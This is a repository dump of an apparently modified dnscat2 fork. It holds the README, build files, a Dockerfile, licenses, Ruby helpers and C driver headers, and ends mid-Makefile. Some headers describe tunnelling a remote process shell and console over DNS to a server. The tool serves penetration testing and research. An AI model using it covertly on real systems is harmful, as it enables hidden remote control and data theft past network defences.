├── client ├── libs │ ├── crypto │ │ ├── micro-ecc │ │ │ ├── emk_rules.py │ │ │ ├── LICENSE.txt │ │ │ ├── platform-specific.inc │ │ │ ├── README.md │ │ │ ├── types.h │ │ │ └── emk_project.py │ │ ├── ustd.h │ │ ├── sha3.h │ │ ├── encryptor.h │ │ ├── salsa20.h │ │ └── encryptor_sas_dict.h │ ├── log.h │ ├── udp.h │ ├── ll.h │ ├── tcp.h │ ├── memory.h │ ├── log.c │ ├── my_getopt.h │ ├── types.h │ ├── udp.c │ ├── types.c │ ├── memory.c │ ├── ll.c │ └── tcp.c ├── tunnel_drivers │ ├── tunnel_driver.h │ └── driver_dns.h ├── .gitignore ├── drivers │ ├── driver_listener.h │ ├── driver_ping.h │ ├── command │ │ ├── driver_command.h │ │ ├── commands_standard.h │ │ ├── driver_command.c │ │ ├── command_packet.h │ │ └── commands_tunnel.h │ ├── driver_console.h │ ├── driver.h │ ├── driver_exec.h │ ├── driver_ping.c │ ├── driver_console.c │ ├── driver_listener.c │ └── driver.c ├── controller │ ├── controller.h │ ├── session.h │ ├── packet.h │ └── controller.c └── Makefile ├── tools ├── Gemfile ├── Gemfile.lock ├── dnstest.rb ├── dnsmastermind.rb └── dnslogger.rb ├── server ├── Dockerfile ├── Gemfile.lock ├── libs │ ├── dnscat_exception.rb │ ├── ring_buffer.rb │ ├── hex.rb │ ├── command_helpers.rb │ ├── socketer.rb │ ├── vash.rb │ ├── commander.rb │ └── settings.rb ├── Gemfile ├── controller │ ├── crypto_helper.rb │ ├── controller.rb │ └── encryptor_sas.rb ├── drivers │ ├── driver_console.rb │ ├── driver_process.rb │ └── driver_command.rb └── tunnel_drivers │ ├── driver_tcp.rb │ └── tunnel_drivers.rb ├── README.md ├── contributors.md ├── LICENSE.md ├── Makefile ├── doc ├── adding_a_driver.md ├── README.md ├── authoritative_dns_setup.md ├── changelog.md ├── how_to_do_a_release.md ├── contributing.md ├── how_to_bug_report.md └── blogs │ └── dnscat2-0.01-release.html ├── package.sh ├── data └── wordlist_256.txt └── img └── dnscat-logo.svg /client/libs/crypto/micro-ecc/emk_rules.py: -------------------------------------------------------------------------------- 1 | c, link = emk.module("c", "link") 2 | 3 | emk.subdir("test") 4 | -------------------------------------------------------------------------------- /tools/Gemfile: -------------------------------------------------------------------------------- 1 | # Gemfile 2 | # By Ron Bowes 3 | # 4 | # See LICENSE.md 5 | 6 | source 'https://rubygems.org' 7 | 8 | gem 'trollop' # parsing commandline options 9 | gem 'ruby-pcap' # for the parser 10 | -------------------------------------------------------------------------------- /tools/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | ruby-pcap (0.7.9) 5 | trollop (2.0) 6 | 7 | PLATFORMS 8 | ruby 9 | 10 | DEPENDENCIES 11 | ruby-pcap 12 | trollop 13 | -------------------------------------------------------------------------------- /server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:2.1-onbuild 2 | MAINTAINER Mark Percival 3 | 4 | EXPOSE 53/udp 5 | 6 | CMD ["ruby ./dnscat2.rb"] 7 | 8 | # Run it 9 | # docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb foo.org 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Modified version of dnscat2 to obtain a shell inside a pty, thanks to x-c3ll 2 | 3 | Reference: https://x-c3ll.github.io/posts/forkpty-dnscat2/ 4 | 5 | ![dnscatpty](https://user-images.githubusercontent.com/7115563/39865705-0d9a1ca0-544e-11e8-99fa-820913dbe068.png) 6 | -------------------------------------------------------------------------------- /server/Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | ecdsa (1.2.0) 5 | salsa20 (0.1.1) 6 | sha3 (1.0.1) 7 | trollop (2.1.2) 8 | 9 | PLATFORMS 10 | ruby 11 | 12 | DEPENDENCIES 13 | ecdsa 14 | salsa20 15 | sha3 16 | trollop 17 | -------------------------------------------------------------------------------- /server/libs/dnscat_exception.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # dnscat_exception.rb 3 | # Created July 1, 2013 (Canada Day!) 4 | # By Ron Bowes 5 | # 6 | # See LICENSE.md 7 | # 8 | # Implements a simple exception class for dnscat2 protocol errors. 9 | ## 10 | 11 | class DnscatException < StandardError 12 | end 13 | -------------------------------------------------------------------------------- /server/Gemfile: -------------------------------------------------------------------------------- 1 | # Gemfile 2 | # By Ron Bowes 3 | # 4 | # See LICENSE.md 5 | 6 | source 'https://rubygems.org' 7 | 8 | gem 'trollop' # Commandline parsing 9 | gem 'salsa20' # Encrypted connections 10 | gem 'sha3' # Message signing + key derivation 11 | gem 'ecdsa' # Used for ECDH key exchange 12 | -------------------------------------------------------------------------------- /client/tunnel_drivers/tunnel_driver.h: -------------------------------------------------------------------------------- 1 | /* tunnel_driver.h 2 | * Created April/2015 3 | * By Ron Bowes 4 | * 5 | * See LICENSE.md 6 | * 7 | * This is currently only used for constants. It may be used more in the future, 8 | * the same way that driver.h is. 9 | */ 10 | 11 | typedef enum 12 | { 13 | TUNNEL_DRIVER_DNS, 14 | } tunnel_driver_type_t; 15 | -------------------------------------------------------------------------------- /client/.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | 4 | # Libraries 5 | *.lib 6 | *.a 7 | 8 | # Shared objects (inc. Windows DLLs) 9 | *.dll 10 | *.so 11 | *.so.* 12 | *.dylib 13 | 14 | # Executables 15 | *.exe 16 | *.out 17 | *.app 18 | 19 | # Named executables 20 | dnscat 21 | tcpcat 22 | test 23 | 24 | # Crash dumps 25 | core 26 | core.* 27 | *.stackdump 28 | 29 | -------------------------------------------------------------------------------- /contributors.md: -------------------------------------------------------------------------------- 1 | This is a list of folks who have contributed to the project in some way! 2 | If you aren't on here and think you should be, please drop me a line, 3 | file a bug, or just send a pull request. :) 4 | 5 | * [Ron Bowes](https://github.com/iagox86) - Me! The lead developer. 6 | * [Irvin Zhan](https://github.com/izhan) 7 | * [Bram Mittendorff](https://github.com/brammittendorff) 8 | * [Fox0x01](https://github.com/Fox0x01) 9 | * [Jon Cave](https://github.com/joncave) 10 | -------------------------------------------------------------------------------- /server/libs/ring_buffer.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # ring_buffer.rb 3 | # By https://gist.github.com/Nimster/4078106 4 | # Created Sept 18, 2015 5 | # 6 | # See LICENSE.md 7 | ## 8 | 9 | class RingBuffer < Array 10 | attr_accessor :max_size 11 | 12 | def initialize(max_size, enum = nil) 13 | @max_size = max_size 14 | enum.each { |e| self << e } if enum 15 | end 16 | 17 | def <<(el) 18 | if self.size < @max_size || @max_size.nil? 19 | super 20 | else 21 | self.shift 22 | self.push(el) 23 | end 24 | end 25 | 26 | alias :push :<< 27 | end 28 | 29 | 30 | -------------------------------------------------------------------------------- /client/drivers/driver_listener.h: -------------------------------------------------------------------------------- 1 | /* driver_listener.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This isn't used yet. 7 | * 8 | * TODO: Update the docs when it is :) 9 | */ 10 | 11 | #ifndef __DRIVER_LISTENER_H__ 12 | #define __DRIVER_LISTENER_H__ 13 | 14 | #include "select_group.h" 15 | #include "session.h" 16 | 17 | typedef struct 18 | { 19 | int s; 20 | select_group_t *group; 21 | char *host; 22 | char *name; 23 | uint16_t port; 24 | } driver_listener_t; 25 | 26 | driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name); 27 | void driver_listener_destroy(); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /client/drivers/driver_ping.h: -------------------------------------------------------------------------------- 1 | /* driver_ping.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This is a super simple drivers that just sends some set data to the 7 | * server, then verifies it when it comes back. 8 | */ 9 | 10 | #ifndef __DRIVER_PING_H__ 11 | #define __DRIVER_PING_H__ 12 | 13 | #include "libs/select_group.h" 14 | 15 | typedef struct 16 | { 17 | char *data; 18 | NBBOOL is_shutdown; 19 | } driver_ping_t; 20 | 21 | driver_ping_t *driver_ping_create(select_group_t *group); 22 | void driver_ping_destroy(driver_ping_t *driver); 23 | void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length); 24 | uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length); 25 | void driver_ping_close(driver_ping_t *driver); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/libs/crypto/ustd.h: -------------------------------------------------------------------------------- 1 | /* ustd.h common macros and includes */ 2 | #ifndef LIBRHASH_USTD_H 3 | #define LIBRHASH_USTD_H 4 | 5 | #if _MSC_VER >= 1300 6 | 7 | # define int64_t __int64 8 | # define int32_t __int32 9 | # define int16_t __int16 10 | # define int8_t __int8 11 | # define uint64_t unsigned __int64 12 | # define uint32_t unsigned __int32 13 | # define uint16_t unsigned __int16 14 | # define uint8_t unsigned __int8 15 | 16 | /* disable warnings: The POSIX name for this item is deprecated. Use the ISO C++ conformant name. */ 17 | #pragma warning(disable : 4996) 18 | 19 | #else /* _MSC_VER >= 1300 */ 20 | 21 | # include 22 | # include 23 | 24 | #endif /* _MSC_VER >= 1300 */ 25 | 26 | #if _MSC_VER <= 1300 27 | # include /* size_t for vc6.0 */ 28 | #endif /* _MSC_VER <= 1300 */ 29 | 30 | #endif /* LIBRHASH_USTD_H */ 31 | -------------------------------------------------------------------------------- /client/controller/controller.h: -------------------------------------------------------------------------------- 1 | /** 2 | * controller.h 3 | * Created by Ron Bowes 4 | * On April, 2015 5 | * 6 | * See LICENSE.md 7 | * 8 | * The controller basically keeps track of active sessions and passes data 9 | * back and forth between the tunnel driver and the session. There is only 10 | * ever a single instance of this. 11 | */ 12 | 13 | #ifndef __CONTROLLER_H__ 14 | #define __CONTROLLER_H__ 15 | 16 | #include "libs/types.h" 17 | #include "session.h" 18 | 19 | size_t controller_open_session_count(); 20 | void controller_add_session(session_t *session); 21 | NBBOOL controller_data_incoming(uint8_t *data, size_t length); 22 | uint8_t *controller_get_outgoing(size_t *length, size_t max_length); 23 | void controller_kill_all_sessions(); 24 | void controller_destroy(); 25 | void controller_heartbeat(); 26 | void controller_set_max_retransmits(int retransmits); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /client/libs/log.h: -------------------------------------------------------------------------------- 1 | /* log.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This is a pretty boring module that is used for logging data to the 7 | * console. 8 | */ 9 | 10 | #ifndef __LOG_H__ 11 | #define __LOG_H__ 12 | 13 | typedef enum 14 | { 15 | LOG_LEVEL_INFO = 0, 16 | LOG_LEVEL_WARNING = 1, 17 | LOG_LEVEL_ERROR = 2, 18 | LOG_LEVEL_FATAL = 3 19 | } log_level_t; 20 | 21 | #define LOG_INFO log_info 22 | #define LOG_WARNING log_warning 23 | #define LOG_ERROR log_error 24 | #define LOG_FATAL log_fatal 25 | 26 | void log_init(); 27 | 28 | void log_to_file(char *filename, log_level_t min_level); 29 | void log_set_min_console_level(log_level_t level); 30 | log_level_t log_get_min_console_level(); 31 | 32 | void log_info(char *format, ...); 33 | void log_warning(char *format, ...); 34 | void log_error(char *format, ...); 35 | void log_fatal(char *format, ...); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /server/controller/crypto_helper.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # crypto_helper.rb 3 | # Created December, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # Implements functions that encryptor.rb (packet.rb) need. 9 | ## 10 | 11 | class CryptoHelper 12 | def CryptoHelper.bignum_to_binary(bn, size=32) 13 | if(!bn.is_a?(Bignum)) 14 | raise(ArgumentError, "Expected: Bignum; received: #{bn.class}") 15 | end 16 | 17 | return [bn.to_s(16).rjust(size*2, "\0")].pack("H*") 18 | end 19 | 20 | def CryptoHelper.bignum_to_text(bn, size=32) 21 | if(!bn.is_a?(Bignum)) 22 | raise(ArgumentError, "Expected: Bignum; received: #{bn.class}") 23 | end 24 | 25 | return CryptoHelper.bignum_to_binary(bn, size).unpack("H*").pop() 26 | end 27 | 28 | def CryptoHelper.binary_to_bignum(binary) 29 | if(!binary.is_a?(String)) 30 | raise(ArgumentError, "Expected: String; received: #{binary.class}") 31 | end 32 | 33 | return binary.unpack("H*").pop().to_i(16) 34 | end 35 | end 36 | -------------------------------------------------------------------------------- /client/drivers/command/driver_command.h: -------------------------------------------------------------------------------- 1 | /* driver_command.h 2 | * By Ron Bowes 3 | * Created May, 2014 4 | * 5 | * See LICENSE.md 6 | */ 7 | 8 | #ifndef __DRIVER_command_H__ 9 | #define __DRIVER_command_H__ 10 | 11 | #include "command_packet.h" 12 | #include "libs/ll.h" 13 | #include "libs/select_group.h" 14 | #include "libs/types.h" 15 | 16 | typedef struct 17 | { 18 | char *name; 19 | uint16_t session_id; 20 | buffer_t *stream; 21 | select_group_t *group; 22 | buffer_t *outgoing_data; 23 | NBBOOL is_shutdown; 24 | ll_t *tunnels; 25 | } driver_command_t; 26 | 27 | driver_command_t *driver_command_create(select_group_t *group); 28 | void driver_command_destroy(driver_command_t *driver); 29 | void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length); 30 | uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length); 31 | void driver_command_close(driver_command_t *driver); 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /server/drivers/driver_console.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # driver_console.rb 3 | # Created August 29, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | ## 9 | 10 | class DriverConsole 11 | attr_reader :stopped 12 | 13 | def initialize(window, settings) 14 | @window = window 15 | @settings = settings 16 | @outgoing = "" 17 | 18 | @window.on_input() do |data| 19 | @outgoing += data 20 | @outgoing += "\n" 21 | end 22 | 23 | @window.puts("This is a console session!") 24 | @window.puts() 25 | @window.puts("That means that anything you type will be sent as-is to the") 26 | @window.puts("client, and anything they type will be displayed as-is on the") 27 | @window.puts("screen! If the client is executing a command and you don't") 28 | @window.puts("see a prompt, try typing 'pwd' or something!") 29 | @window.puts() 30 | @window.puts("To go back, type ctrl-z.") 31 | @window.puts() 32 | end 33 | 34 | def feed(data) 35 | @window.print(data) 36 | 37 | out = @outgoing 38 | @outgoing = '' 39 | 40 | return out 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /client/libs/udp.h: -------------------------------------------------------------------------------- 1 | /* udp.h 2 | * By Ron 3 | * Created August, 2008 4 | * 5 | * (See LICENSE.md) 6 | * 7 | * Platform-independent module for creating/sending IPv4 UDP packets. 8 | */ 9 | 10 | #ifndef __UDP_H__ 11 | #define __UDP_H__ 12 | 13 | /*#ifdef WIN32 14 | #include 15 | #else 16 | #include 17 | #include 18 | #include 19 | #include 20 | #endif*/ 21 | 22 | #include "types.h" 23 | 24 | /* Must be called before any other functions. This is actually defined in tcp.c. */ 25 | void winsock_initialize(); 26 | 27 | /* Create a UDP socket on the given port. */ 28 | int udp_create_socket(uint16_t port, char *local_address); 29 | 30 | /* Read from the new socket, filling in the 'from' field if given. Not currently being used. */ 31 | /*ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from);*/ 32 | 33 | /* Send data to the given address on the given port. */ 34 | ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length); 35 | 36 | /* Close the UDP socket. */ 37 | int udp_close(int s); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /client/drivers/driver_console.h: -------------------------------------------------------------------------------- 1 | /* driver_console.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This implements a simple i/o driver that acts on the console and lets 7 | * the user send messages to the server by typing them. It's kinda fun to see 8 | * your messages flying over DNS, and this is great for testing or for 9 | * demonstrating how to make drivers, but its ultimate utility isn't that 10 | * useful. 11 | */ 12 | 13 | #ifndef __DRIVER_CONSOLE_H__ 14 | #define __DRIVER_CONSOLE_H__ 15 | 16 | #include "libs/buffer.h" 17 | #include "libs/select_group.h" 18 | 19 | typedef struct 20 | { 21 | select_group_t *group; 22 | buffer_t *outgoing_data; 23 | NBBOOL is_shutdown; 24 | } driver_console_t; 25 | 26 | driver_console_t *driver_console_create(select_group_t *group); 27 | void driver_console_destroy(driver_console_t *driver); 28 | void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length); 29 | uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length); 30 | void driver_console_close(driver_console_t *driver); 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /client/drivers/driver.h: -------------------------------------------------------------------------------- 1 | /* driver.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This is basically a hack to make a polymorphic class in C. It just lets 7 | * other stuff call functions, and passes it to the appropriate implementation. 8 | */ 9 | 10 | #ifndef __DRIVER_H__ 11 | #define __DRIVER_H__ 12 | 13 | #include "driver_console.h" 14 | #include "driver_exec.h" 15 | #include "driver_ping.h" 16 | #include "drivers/command/driver_command.h" 17 | 18 | typedef enum 19 | { 20 | DRIVER_TYPE_CONSOLE, 21 | DRIVER_TYPE_EXEC, 22 | DRIVER_TYPE_COMMAND, 23 | DRIVER_TYPE_PING, 24 | } driver_type_t; 25 | 26 | typedef struct 27 | { 28 | driver_type_t type; 29 | 30 | union 31 | { 32 | driver_console_t *console; 33 | driver_exec_t *exec; 34 | driver_command_t *command; 35 | driver_ping_t *ping; 36 | } real_driver; 37 | } driver_t; 38 | 39 | driver_t *driver_create(driver_type_t type, void *real_driver); 40 | void driver_destroy(driver_t *driver); 41 | void driver_close(driver_t *driver); 42 | void driver_data_received(driver_t *driver, uint8_t *data, size_t length); 43 | uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length); 44 | 45 | #endif 46 | -------------------------------------------------------------------------------- /client/libs/ll.h: -------------------------------------------------------------------------------- 1 | /* ll.h 2 | * By Ron 3 | * Created January, 2010 4 | * 5 | * (See LICENSE.md) 6 | * 7 | * Implements a simple singly-linked list. 8 | */ 9 | 10 | #ifndef __LL_H__ 11 | #define __LL_H__ 12 | 13 | typedef int(cmpfunc_t)(const void *, const void *); 14 | 15 | typedef enum 16 | { 17 | LL_8, 18 | LL_16, 19 | LL_32, 20 | LL_64, 21 | LL_PTR, 22 | } ll_index_type_t; 23 | 24 | typedef struct 25 | { 26 | ll_index_type_t type; 27 | union 28 | { 29 | uint16_t u8; 30 | uint16_t u16; 31 | uint32_t u32; 32 | uint64_t u64; 33 | void *ptr; 34 | } value; 35 | } ll_index_t; 36 | 37 | typedef struct 38 | { 39 | ll_index_t index; 40 | void *data; 41 | struct ll_element_t *next; 42 | } ll_element_t; 43 | 44 | typedef struct 45 | { 46 | ll_element_t *first; 47 | cmpfunc_t *cmpfunc; 48 | } ll_t; 49 | 50 | ll_t *ll_create(cmpfunc_t *cmpfunc); 51 | void *ll_add(ll_t *ll, ll_index_t index, void *data); 52 | void *ll_remove(ll_t *ll, ll_index_t index); 53 | void *ll_remove_first(ll_t *ll); 54 | void *ll_find(ll_t *ll, ll_index_t index); 55 | void ll_destroy(ll_t *ll); 56 | 57 | ll_index_t ll_8(uint8_t value); 58 | ll_index_t ll_16(uint16_t value); 59 | ll_index_t ll_32(uint32_t value); 60 | ll_index_t ll_64(uint64_t value); 61 | ll_index_t ll_ptr(void *value); 62 | 63 | #endif 64 | -------------------------------------------------------------------------------- /client/libs/crypto/micro-ecc/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014, Kenneth MacKay 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright notice, this 7 | list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright notice, 9 | this list of conditions and the following disclaimer in the documentation 10 | and/or other materials provided with the distribution. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 13 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 14 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 15 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 16 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 17 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 18 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 19 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 20 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 21 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 22 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013-2015, Ron Bowes 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | - Neither the name of the organization nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 9 | 10 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 11 | -------------------------------------------------------------------------------- /client/drivers/driver_exec.h: -------------------------------------------------------------------------------- 1 | /* driver_exec.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * Implements an i/o driver that executes a process, and tunnels the 7 | * stdout/stdin/stderr through the socket to the server. As far as the 8 | * server is aware, it's indistinguishable from a console (since it's 9 | * simply text going in and out). 10 | */ 11 | 12 | #ifndef __DRIVER_EXEC_H__ 13 | #define __DRIVER_EXEC_H__ 14 | 15 | #include 16 | 17 | #include "libs/buffer.h" 18 | #include "libs/select_group.h" 19 | 20 | typedef struct 21 | { 22 | char *process; 23 | select_group_t *group; 24 | buffer_t *outgoing_data; 25 | NBBOOL is_shutdown; 26 | 27 | #ifdef WIN32 28 | HANDLE exec_stdin[2]; /* The stdin handle. */ 29 | HANDLE exec_stdout[2]; /* The stdout handle. */ 30 | DWORD pid; /* Process id. */ 31 | HANDLE exec_handle; /* Handle to the executing process. */ 32 | int socket_id; /* An arbitrary number that identifies the socket. */ 33 | #else 34 | int pipe_stdin[2]; 35 | int pipe_stdout[2]; 36 | pid_t pid; 37 | #endif 38 | } driver_exec_t; 39 | 40 | driver_exec_t *driver_exec_create(select_group_t *group, char *process); 41 | void driver_exec_destroy(driver_exec_t *driver); 42 | void driver_exec_data_received(driver_exec_t *driver, uint8_t *data, size_t length); 43 | uint8_t *driver_exec_get_outgoing(driver_exec_t *driver, size_t *length, size_t max_length); 44 | void driver_exec_close(driver_exec_t *driver); 45 | 46 | #endif 47 | -------------------------------------------------------------------------------- /client/tunnel_drivers/driver_dns.h: -------------------------------------------------------------------------------- 1 | /* driver_dns.h 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | * 6 | * This is a "tunnel driver" for DNS. What that means is, it converts data 7 | * on the wire - in this case, DNS packets - into a stream of bytes that 8 | * form the actual dnscat protocol. 9 | * 10 | * By abstracting out the 'tunnel protocol' from the dnscat protocol, it 11 | * makes it trivial to use the same program to tunnel over multiple different 12 | * protocols - DNS, ICMP, etc. 13 | */ 14 | 15 | #ifndef __DRIVER_DNS_H__ 16 | #define __DRIVER_DNS_H__ 17 | 18 | #include "libs/dns.h" 19 | #include "libs/select_group.h" 20 | 21 | /* Types of DNS queries we support */ 22 | #ifndef WIN32 23 | #define DNS_TYPES "TXT, CNAME, MX, A, AAAA" 24 | #else 25 | #define DNS_TYPES "TXT, CNAME, MX, A" 26 | #endif 27 | 28 | /* The default types. */ 29 | #define DEFAULT_TYPES "TXT,CNAME,MX" 30 | 31 | /* The maximum number of types that can be selected amongst. */ 32 | #define DNS_MAX_TYPES 32 33 | 34 | typedef struct 35 | { 36 | int s; 37 | 38 | select_group_t *group; 39 | char *domain; 40 | char *dns_server; 41 | int dns_port; 42 | 43 | NBBOOL is_closed; 44 | 45 | dns_type_t types[DNS_MAX_TYPES]; 46 | size_t type_count; 47 | 48 | } driver_dns_t; 49 | 50 | driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server); 51 | void driver_dns_destroy(); 52 | void driver_dns_go(driver_dns_t *driver); 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /client/libs/tcp.h: -------------------------------------------------------------------------------- 1 | /* tcp.h 2 | * By Ron 3 | * Created August, 2008 4 | * 5 | * (See LICENSE.md) 6 | * 7 | * Platform-independent module for creating/sending TCP sockets for IPv4 TCP 8 | * connections. 9 | */ 10 | 11 | #ifndef __TCP_H__ 12 | #define __TCP_H__ 13 | 14 | #include "types.h" 15 | 16 | /* Must be called before any other functions. */ 17 | void winsock_initialize(); 18 | 19 | /* Connect to the remote server on the given port. Prints an error to the screen and 20 | * returns -1 if it fails; otherwise, returns the new socket. */ 21 | int tcp_connect(char *host, uint16_t port); 22 | 23 | /* The same as tcp_connect, except it lets the user choose a non-blocking 24 | * socket. */ 25 | int tcp_connect_options(char *host, uint16_t port, int non_blocking); 26 | 27 | /* Set a socket as non-blocking. */ 28 | void tcp_set_nonblocking(int s); 29 | 30 | /* Puts a socket into listening mode on the given address (use '0.0.0.0' for any). 31 | * Returns -1 on an error, or the socket if successful. */ 32 | int tcp_listen(char *address, uint16_t port); 33 | 34 | /* Accepts a connection on a listening socket. Returns the new socket if successful 35 | * or -1 if fails. */ 36 | int tcp_accept(int listen, char **address, uint16_t *port); 37 | 38 | /* Send data over the socket. Can use built-in IO functions, too. */ 39 | ssize_t tcp_send(int s, void *data, size_t length); 40 | 41 | /* Receive data from the socket. Can use built-in IO functions, too. */ 42 | ssize_t tcp_recv(int s, void *buffer, size_t buffer_length); 43 | 44 | /* Close the socket. */ 45 | int tcp_close(int s); 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /server/libs/hex.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # hex.rb 3 | # Created November, 2012 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # This is a simple utility class that converts an arbitrary binary string into 9 | # a user-readable string. 10 | ## 11 | 12 | class Hex 13 | BYTE_NUMBER_LENGTH = 8 14 | SPACES_BEFORE_HEX = 2 15 | SPACES_BEFORE_ASCII = 2 16 | LINE_LENGTH = 16 17 | 18 | # Convert the arbitrary binary data, 'data', into a user-readable string. 19 | def Hex.to_s(data, indent = 0) 20 | length = data.length 21 | out = (' ' * indent) 22 | 23 | 0.upto(length - 1) do |i| 24 | if((i % LINE_LENGTH) == 0) 25 | if(i != 0) 26 | out = out + "\n" + (' ' * indent) 27 | end 28 | out = out + ("%0#{BYTE_NUMBER_LENGTH}X" % i) + " " * SPACES_BEFORE_HEX 29 | end 30 | 31 | out = out + ("%02X " % data[i].ord) 32 | 33 | if(((i + 1) % LINE_LENGTH) == 0) 34 | out = out + (" " * SPACES_BEFORE_ASCII) 35 | LINE_LENGTH.step(1, -1) do |j| 36 | out = out + ("%c" % ((data[i + 1 - j].ord > 0x20 && data[i + 1 - j].ord < 0x80) ? data[i + 1 - j].ord : ?.)) 37 | end 38 | end 39 | 40 | end 41 | 42 | (length % LINE_LENGTH).upto(LINE_LENGTH - 1) do |i| 43 | out = out + (" ") # The width of a hex character and a space 44 | end 45 | out = out + (' ' * SPACES_BEFORE_ASCII) 46 | 47 | (length - (length % LINE_LENGTH)).upto(length - 1) do |i| 48 | out = out + ("%c" % ((data[i].ord > 0x20 && data[i].ord < 0x80) ? data[i].ord : ?.)) 49 | end 50 | 51 | return out 52 | end 53 | end 54 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Makefile 2 | # By Ron 3 | # 4 | # See LICENSE.md 5 | 6 | # Can't use a '#' in the shell command 7 | VERSION=$(shell egrep '^.define VERSION' client/dnscat.c | head -n1 | cut -d\" -f2) 8 | 9 | OS=$(shell uname -s) 10 | ARCH=$(shell uname -p | sed 's/x86_64/x64/i' | sed 's/i.86/x86/i') 11 | 12 | ifeq ($(OS), Linux) 13 | RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(ARCH)" 14 | else 15 | 